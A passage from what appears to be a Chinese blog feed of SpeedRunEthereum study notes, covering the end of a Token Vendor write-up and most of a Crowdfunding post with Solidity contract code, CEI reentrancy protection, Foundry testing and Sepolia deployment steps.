在合约钱包时代已经过时。</li><li><strong>Emit 最后发</strong>——状态变更完后再 emit，避免数据不一致。</li><li><strong>Foundry 和 MetaMask 别共用账户</strong>——nonce 会撞。</li><li><strong>前端解锁 = 修改 <code>/* */</code> 注释</strong>——Scaffold-ETH 把 UI 分阶段教。</li><li><strong>Vercel build 比 dev 严格</strong>——dev 能跑不代表 build 能过。</li><li><strong>Owner ≠ Deployer</strong>——deploy 后通过 <code>transferOwnership</code> 转交。</li><li><strong>CEI 顺序同样适用</strong>——<code>call</code> 发 ETH 也是外部调用，理论上需要防重入（虽然本挑战卖 token 时已经先 transferFrom 改了状态）。</li></ol><hr><h2 id="🔗-有用的链接"><a href="#🔗-有用的链接" class="headerlink" title="🔗 有用的链接"></a>🔗 有用的链接</h2><ul><li>Challenge: <a class="link" href="https://speedrunethereum.com/challenge/token-vendor" >https://speedrunethereum.com/challenge/token-vendor<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Portfolio: <a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 dApp: <a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia Etherscan: <a class="link" href="https://sepolia.etherscan.io/" >https://sepolia.etherscan.io<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia 水龙头：<ul><li><a class="link" href="https://www.alchemy.com/faucets/ethereum-sepolia" >https://www.alchemy.com/faucets/ethereum-sepolia<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link" href="https://cloud.google.com/application/web3/faucet" >https://cloud.google.com/application/web3/faucet<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link" href="https://www.infura.io/faucet/sepolia" >https://www.infura.io/faucet/sepolia<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul></li><li>Vercel: <a class="link" href="https://vercel.com/" >https://vercel.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry 文档: <a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin ERC20: <a class="link" href="https://docs.openzeppelin.com/contracts/5.x/erc20" >https://docs.openzeppelin.com/contracts/5.x/erc20<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin Ownable: <a class="link" href="https://docs.openzeppelin.com/contracts/5.x/access-control" >https://docs.openzeppelin.com/contracts/5.x/access-control<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><hr><h2 id="📁-项目文件结构"><a href="#📁-项目文件结构" class="headerlink" title="📁 项目文件结构"></a>📁 项目文件结构</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">challenge-token-vendor/</span><br><span class="line">├── packages/</span><br><span class="line">│ ├── foundry/</span><br><span class="line">│ │ ├── contracts/</span><br><span class="line">│ │ │ ├── YourToken.sol # CP1: ERC-20 + _mint</span><br><span class="line">│ │ │ └── Vendor.sol # CP2/3/4: buy/withdraw/sell</span><br><span class="line">│ │ ├── script/</span><br><span class="line">│ │ │ ├── Deploy.s.sol # 主入口</span><br><span class="line">│ │ │ ├── DeployYourToken.s.sol # 部署 + FRONTEND_ADDRESS + SEND_TOKENS_TO_VENDOR</span><br><span class="line">│ │ │ └── VerifyAll.s.sol # 自动 verify 所有 CREATE 交易</span><br><span class="line">│ │ ├── test/</span><br><span class="line">│ │ │ └── Vendor.t.sol # Foundry 测试（14 个）</span><br><span class="line">│ │ ├── foundry.toml # 网络 + RPC 配置</span><br><span class="line">│ │ └── .env # ALCHEMY/ETHERSCAN API key</span><br><span class="line">│ └── nextjs/</span><br><span class="line">│ ├── scaffold.config.ts # targetNetworks: [chains.sepolia]</span><br><span class="line">│ ├── app/</span><br><span class="line">│ │ ├── token-vendor/page.tsx # 主 UI（Your/Vendor/Buy/Transfer/Sell 区块）</span><br><span class="line">│ │ └── events/page.tsx # BuyTokens + SellTokens 事件表</span><br><span class="line">│ └── contracts/deployedContracts.ts # 部署后自动生成 ABI</span><br><span class="line">├── .challenge-ai/progress.json # AI 引导模式进度</span><br><span class="line">├── AGENTS.md # 项目 AI 指令</span><br><span class="line">├── CLAUDE.md # 引用 AGENTS.md</span><br><span class="line">└── package.json # yarn workspace 根</span><br></pre></td></tr></table></figure></div><hr><h2 id="🎓-Ethereum-101-完成记录"><a href="#🎓-Ethereum-101-完成记录" class="headerlink" title="🎓 Ethereum 101 完成记录"></a>🎓 Ethereum 101 完成记录</h2><p><strong>Ethereum 101 当前进度</strong>：4/4</p><ul><li>✅ Tokenization</li><li>✅ Crowdfunding</li><li>✅ <strong>Token Vendor</strong>（本次）</li><li>✅ Dice Game</li></ul><p><strong>Ethereum 101 完成后推荐方向</strong>：</p><ul><li>🚀 <strong>Build a DEX</strong> — 流动性池 + 恒定乘积（<code>x*y=k</code>），把 Vendor 的固定汇率升级成动态定价</li><li>🔮 <strong>Oracles</strong> — 链下数据（价格、天气）怎么上链</li><li>💰 <strong>Over-Collateralized Lending</strong> — DeFi 借贷基础（Aave 简化版）</li><li>🔐 <strong>ZK Proofs</strong> — 零知识证明入门</li></ul><p><strong>Token Vendor → DEX 的核心跳跃</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">固定汇率 → 动态定价曲线</span><br><span class="line">1 ETH = 100 GLD → x * y = k</span><br><span class="line">单一价格 → 根据流动性深度自动调整</span><br></pre></td></tr></table></figure></div><hr><h2 id="📝-SpeedRunEthereum-提交记录"><a href="#📝-SpeedRunEthereum-提交记录" class="headerlink" title="📝 SpeedRunEthereum 提交记录"></a>📝 SpeedRunEthereum 提交记录</h2><ul><li>✅ Vercel URL: <a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>✅ Sepolia 合约：<ul><li>YourToken: <code>0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9</code></li><li>Vendor: <code>0x657F8DC030c2756CFA4649695f9b8ED640f4554B</code></li></ul></li><li>✅ SpeedRunEthereum 状态：本关 ACCEPTED；系列当前 4/4</li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="ERC-20" scheme="https://kylinxin.github.io/tags/ERC-20/"/>
<category term="DeFi" scheme="https://kylinxin.github.io/tags/DeFi/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 01：Crowdfunding</title>
<link href="https://kylinxin.github.io/2026/06/22/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9ACrowdfunding/"/>
<id>https://kylinxin.github.io/2026/06/22/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9ACrowdfunding/</id>
<published>2026-06-22T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 1 关 Crowdfunding 聚焦去中心化众筹合约：贡献记账、退款、截止时间、状态机推进、CEI 防重入、Sepolia 部署、Etherscan 验证和前端上线。</p></blockquote><ul><li>关卡：Crowdfunding</li><li>完成日期：2026/06/22</li><li>状态：✅ ACCEPTED（+10 XP）</li><li>Ethereum 101 系列进度：✅ 5/5</li><li>框架：Foundry</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>这一关实现一个去中心化众筹 dApp。用户可以在截止时间前向合约贡献 ETH；截止时间后，如果合约余额达到 <code>1 ether</code>，资金转给收款合约；如果没有达到门槛，贡献者可以按自己的贡献额退款。</p><p>项目中有两个核心合约：</p><table><thead><tr><th>合约</th><th>角色</th><th>说明</th></tr></thead><tbody><tr><td><code>CrowdFund</code></td><td>业务合约</td><td>本关需要手写的众筹逻辑</td></tr><tr><td><code>FundingRecipient</code></td><td>收款合约</td><td>出题人提供的收钱罐，不应修改</td></tr></tbody></table><p>这类模型对应的真实场景包括 Gitcoin Grants、Juicebox、ConstitutionDAO 这类链上筹资或公共物品资助系统。</p><h2 id="挑战完成记录"><a href="#挑战完成记录" class="headerlink" title="挑战完成记录"></a>挑战完成记录</h2><table><thead><tr><th>类别</th><th>内容</th></tr></thead><tbody><tr><td>CrowdFund</td><td><code>0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2</code></td></tr><tr><td>FundingRecipient</td><td><code>0x3b56885389111d7C56aA449d6c807D4F426235e3</code></td></tr><tr><td>Deployer</td><td><code>0x6d1cD1d9F7226De5af18a7f9fD64E3aA6e81ca04</code></td></tr><tr><td>Vercel 前端</td><td><a class="link" href="https://crowdfunding-ky.vercel.app/" >https://crowdfunding-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>Sepolia Etherscan</td><td><a class="link" href="https://sepolia.etherscan.io/address/0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2" >https://sepolia.etherscan.io/address/0x9cc1a9b69c55af0b8aAF6AfDc33b30464c7C2Bd2<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>部署交易</td><td><code>0xcbc2cbb16fbfe31869361c8ab6e5bcb67292707d6e253e56c9079156dc5275d2</code></td></tr><tr><td>部署费用</td><td><code>0.000436 ETH</code></td></tr><tr><td>区块</td><td><code>11115985</code></td></tr><tr><td>网络</td><td>Sepolia（chain id <code>11155111</code>）</td></tr></tbody></table><h2 id="专题一：众筹合约的状态机"><a href="#专题一：众筹合约的状态机" class="headerlink" title="专题一：众筹合约的状态机"></a>专题一：众筹合约的状态机</h2><p>这个合约的核心不是单个函数，而是一条状态机：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">接受贡献</span><br><span class="line"> contribute() / receive()</span><br><span class="line"> ↓</span><br><span class="line">等待 deadline 到达</span><br><span class="line"> ↓</span><br><span class="line">execute()</span><br><span class="line"> ↓</span><br><span class="line">余额 >= 1 ETH：complete() 转给 FundingRecipient</span><br><span class="line">余额 < 1 ETH：openToWithdraw = true，允许贡献者 withdraw()</span><br></pre></td></tr></table></figure></div><p>关键点是：区块链没有定时器。<code>deadline</code> 到了以后，合约不会自动执行逻辑，必须有人发送交易调用 <code>execute()</code>，状态才会被推进。</p><h2 id="专题二：最终合约代码"><a href="#专题二：最终合约代码" class="headerlink" title="专题二：最终合约代码"></a>专题二：最终合约代码</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "./FundingRecipient.sol";</span><br><span class="line"></span><br><span class="line">contract CrowdFund {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error NotOpenToWithdraw();</span><br><span class="line"> error WithdrawTransferFailed(address to, uint256 amount);</span><br><span class="line"> error TooEarly(uint256 deadline, uint256 currentTimestamp);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> FundingRecipient public fundingRecipient;</span><br><span class="line"> mapping(address => uint256) public balances;</span><br><span class="line"> bool public openToWithdraw;</span><br><span class="line"> uint256 public deadline = block.timestamp + 30 seconds;</span><br><span class="line"> uint256 public constant threshold = 1 ether;</span><br><span class="line"></span><br><span class="line"> ////////////////</span><br><span class="line"> /// Events /////</span><br><span class="line"> ////////////////</span><br><span class="line"> event Contribution(address, uint256);</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address fundingRecipientAddress) {</span><br><span class="line"> fundingRecipient = FundingRecipient(fundingRecipientAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> function contribute() public payable {</span><br><span class="line"> balances[msg.sender] += msg.value;</span><br><span class="line"> emit Contribution(msg.sender, msg.value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function withdraw() public {</span><br><span class="line"> if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint256 amount = balances[msg.sender];</span><br><span class="line"> balances[msg.sender] = 0;</span><br><span class="line"></span><br><span class="line"> (bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line"> if (!success) {</span><br><span class="line"> revert WithdrawTransferFailed(msg.sender, amount);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function execute() public {</span><br><span class="line"> if (block.timestamp < deadline) {</span><br><span class="line"> revert TooEarly(deadline, block.timestamp);</span><br><span class="line"> } else {</span><br><span class="line"> if (address(this).balance >= threshold) {</span><br><span class="line"> fundingRecipient.complete{value: address(this).balance}();</span><br><span class="line"> } else {</span><br><span class="line"> openToWithdraw = true;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> receive() external payable {</span><br><span class="line"> contribute();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function timeLeft() public view returns (uint256) {</span><br><span class="line"> if (block.timestamp <= deadline) {</span><br><span class="line"> return deadline - block.timestamp;</span><br><span class="line"> } else {</span><br><span class="line"> return 0;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>本地测试结果：<code>yarn test</code> → 13/13 PASSED。</p><h2 id="专题三：地址角色与-msg-sender"><a href="#专题三：地址角色与-msg-sender" class="headerlink" title="专题三：地址角色与 msg.sender"></a>专题三：地址角色与 <code>msg.sender</code></h2><p>这一关最容易混淆的是“谁在调用合约”。</p><table><thead><tr><th>地址</th><th>类型</th><th>作用</th></tr></thead><tbody><tr><td><code>0x6d1c...ca04</code></td><td>EOA</td><td>部署钱包，能签名交易</td></tr><tr><td><code>0x9cc1...Bd2</code></td><td>Contract</td><td><code>CrowdFund</code> 业务合约</td></tr><tr><td><code>0x3b56...35e3</code></td><td>Contract</td><td><code>FundingRecipient</code> 收款合约</td></tr></tbody></table><p><code>balances</code> 映射记录的是 <code>msg.sender</code> 的累计贡献，不是 <code>CrowdFund</code> 合约地址自己的贡献。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mapping(address => uint256) public balances;</span><br><span class="line"></span><br><span class="line">balances[msg.sender] += msg.value;</span><br></pre></td></tr></table></figure></div><p>如果用 <code>balances[合约地址]</code> 查询，结果通常是 <code>0</code>，因为合约自己没有调用过 <code>contribute()</code>。应该查询贡献者的钱包地址。</p><h2 id="专题四：贡献记账与事件"><a href="#专题四：贡献记账与事件" class="headerlink" title="专题四：贡献记账与事件"></a>专题四：贡献记账与事件</h2><p><code>contribute()</code> 必须用累加，而不是覆盖。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">balances[msg.sender] += msg.value; // 正确：累计贡献</span><br><span class="line">balances[msg.sender] = msg.value; // 错误：覆盖上一次贡献</span><br></pre></td></tr></table></figure></div><p>事件用于让前端、区块浏览器和索引器感知链上行为。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">event Contribution(address, uint256);</span><br><span class="line"></span><br><span class="line">emit Contribution(msg.sender, msg.value);</span><br></pre></td></tr></table></figure></div><p>事件不是合约状态本身，不能在 Solidity 中直接遍历查询；它更像链下系统读取的日志。</p><h2 id="专题五：自定义错误"><a href="#专题五：自定义错误" class="headerlink" title="专题五：自定义错误"></a>专题五：自定义错误</h2><p>本关使用自定义错误替代字符串形式的 <code>require</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">error NotOpenToWithdraw();</span><br><span class="line">error TooEarly(uint256 deadline, uint256 currentTimestamp);</span><br><span class="line"></span><br><span class="line">if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>自定义错误的好处是更省 gas，并且错误名和参数会写入 ABI，前端可以更准确地识别失败原因。</p><h2 id="专题六：退款逻辑与-CEI-防重入"><a href="#专题六：退款逻辑与-CEI-防重入" class="headerlink" title="专题六：退款逻辑与 CEI 防重入"></a>专题六：退款逻辑与 CEI 防重入</h2><p>退款函数的关键是 CEI：Checks、Effects、Interactions。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">function withdraw() public {</span><br><span class="line"> if (!openToWithdraw) {</span><br><span class="line"> revert NotOpenToWithdraw();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint256 amount = balances[msg.sender];</span><br><span class="line"> balances[msg.sender] = 0;</span><br><span class="line"></span><br><span class="line"> (bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line"> if (!success) {</span><br><span class="line"> revert WithdrawTransferFailed(msg.sender, amount);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>顺序必须是先检查、再改状态、最后对外转账。这里先把 <code>balances[msg.sender]</code> 清零，再用 <code>call</code> 发 ETH。</p><p>如果先转账再清零，而接收方是恶意合约，它可以在 <code>receive()</code> 中重入 <code>withdraw()</code>。因为余额还没清零，攻击者就能反复提款。</p><h2 id="专题七：call-value-发-ETH"><a href="#专题七：call-value-发-ETH" class="headerlink" title="专题七：call{value: ...}("") 发 ETH"></a>专题七：<code>call{value: ...}("")</code> 发 ETH</h2><p>现代 Solidity 中推荐使用 <code>call</code> 发送 ETH。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(bool success, ) = msg.sender.call{value: amount}("");</span><br><span class="line">if (!success) revert WithdrawTransferFailed(msg.sender, amount);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>方式</th><th>gas 转发</th><th>评价</th></tr></thead><tbody><tr><td><code>transfer</code></td><td>固定 2300 gas</td><td>不推荐，可能让合约钱包收款失败</td></tr><tr><td><code>send</code></td><td>固定 2300 gas</td><td>不推荐，需要手动检查返回值</td></tr><tr><td><code>call{value: ...}("")</code></td><td>转发剩余 gas</td><td>当前更通用，但必须配合 CEI 或重入保护</td></tr></tbody></table><p><code>call</code> 更灵活，但也更危险。它会把执行权交给接收方合约，所以状态更新必须发生在外部调用之前。</p><h2 id="专题八：截止时间与阈值"><a href="#专题八：截止时间与阈值" class="headerlink" title="专题八：截止时间与阈值"></a>专题八：截止时间与阈值</h2><p>合约使用 <code>block.timestamp</code> 表示当前区块时间。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">uint256 public deadline = block.timestamp + 30 seconds;</span><br><span class="line">uint256 public constant threshold = 1 ether;</span><br></pre></td></tr></table></figure></div><p>Solidity 的时间单位本质是乘数：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">30 seconds</span><br><span class="line">5 minutes</span><br><span class="line">2 hours</span><br><span class="line">1 days</span><br></pre></td></tr></table></figure></div><p>在本关中，<code>execute()</code> 只有在 deadline 到达后才能调用。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (block.timestamp < deadline) {</span><br><span class="line"> revert TooEarly(deadline, block.timestamp);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>测试中可以用 Foundry 的 <code>vm.warp</code> 快速改变区块时间，覆盖 deadline 前后两条路径。</p><h2 id="专题九：receive-的用户体验"><a href="#专题九：receive-的用户体验" class="headerlink" title="专题九：receive() 的用户体验"></a>专题九：<code>receive()</code> 的用户体验</h2><p><code>receive()</code> 让用户直接给合约转 ETH 时，也能走 <code>contribute()</code> 记账逻辑。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">receive() external payable {</span><br><span class="line"> contribute();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>如果没有 <code>receive()</code>，用户直接向合约转账可能会失败；或者在某些设计中，ETH 进了合约但没有记录到用户余额，导致退款时查不到贡献。</p><h2 id="专题十：上线流程"><a href="#专题十：上线流程" class="headerlink" title="专题十：上线流程"></a>专题十：上线流程</h2><p>本关使用 Foundry 版本的 Scaffold-ETH 2 模板。</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npx create-eth@2.0.20 -e challenge-crowdfunding challenge-crowdfunding -s foundry</span><br></pre></td></tr></table></figure></div><p>本地开发常用三个终端：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn start</span><br></pre></td></tr></table></figure></div><p>测试命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint1'</span></span><br></pre></td></tr></table></figure></div><p>部署到 Sepolia 的核心流程：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line">yarn verify --network sepolia</span><br><span class="line">yarn vercel --prod</span><br></pre></td></tr></table></figure></div><p><code>.env</code> 中只应该放本地私密配置，不应提交到仓库或博客。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">DEPLOYER_KEYSTORE_ACCOUNT=<your_keystore_account></span><br><span class="line">ETHERSCAN_API_KEY=<your_etherscan_api_key></span><br></pre></td></tr></table></figure></div><h2 id="专题十一：实战踩坑"><a href="#专题十一：实战踩坑" class="headerlink" title="专题十一：实战踩坑"></a>专题十一：实战踩坑</h2><h3 id="withdraw-失败：NotOpenToWithdraw"><a href="#withdraw-失败：NotOpenToWithdraw" class="headerlink" title="withdraw 失败：NotOpenToWithdraw()"></a><code>withdraw</code> 失败：<code>NotOpenToWithdraw()</code></h3><p><code>openToWithdraw</code> 默认是 <code>false</code>。只有众筹失败并调用 <code>execute()</code> 后，合约才会把它改成 <code>true</code>。</p><p>为了测试前端可以临时改成 <code>true</code>，但测试完必须恢复默认值，避免破坏真实业务状态。</p><h3 id="timeLeft-条件写反"><a href="#timeLeft-条件写反" class="headerlink" title="timeLeft() 条件写反"></a><code>timeLeft()</code> 条件写反</h3><p>错误写法会在 deadline 之后计算 <code>deadline - block.timestamp</code>，Solidity 0.8+ 的下溢检查会直接 revert。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if (block.timestamp < deadline) {</span><br><span class="line"> return deadline - block.timestamp;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">return 0;</span><br></pre></td></tr></table></figure></div><h3 id="Solidity-没有-then"><a href="#Solidity-没有-then" class="headerlink" title="Solidity 没有 then"></a>Solidity 没有 <code>then</code></h3><p>Solidity 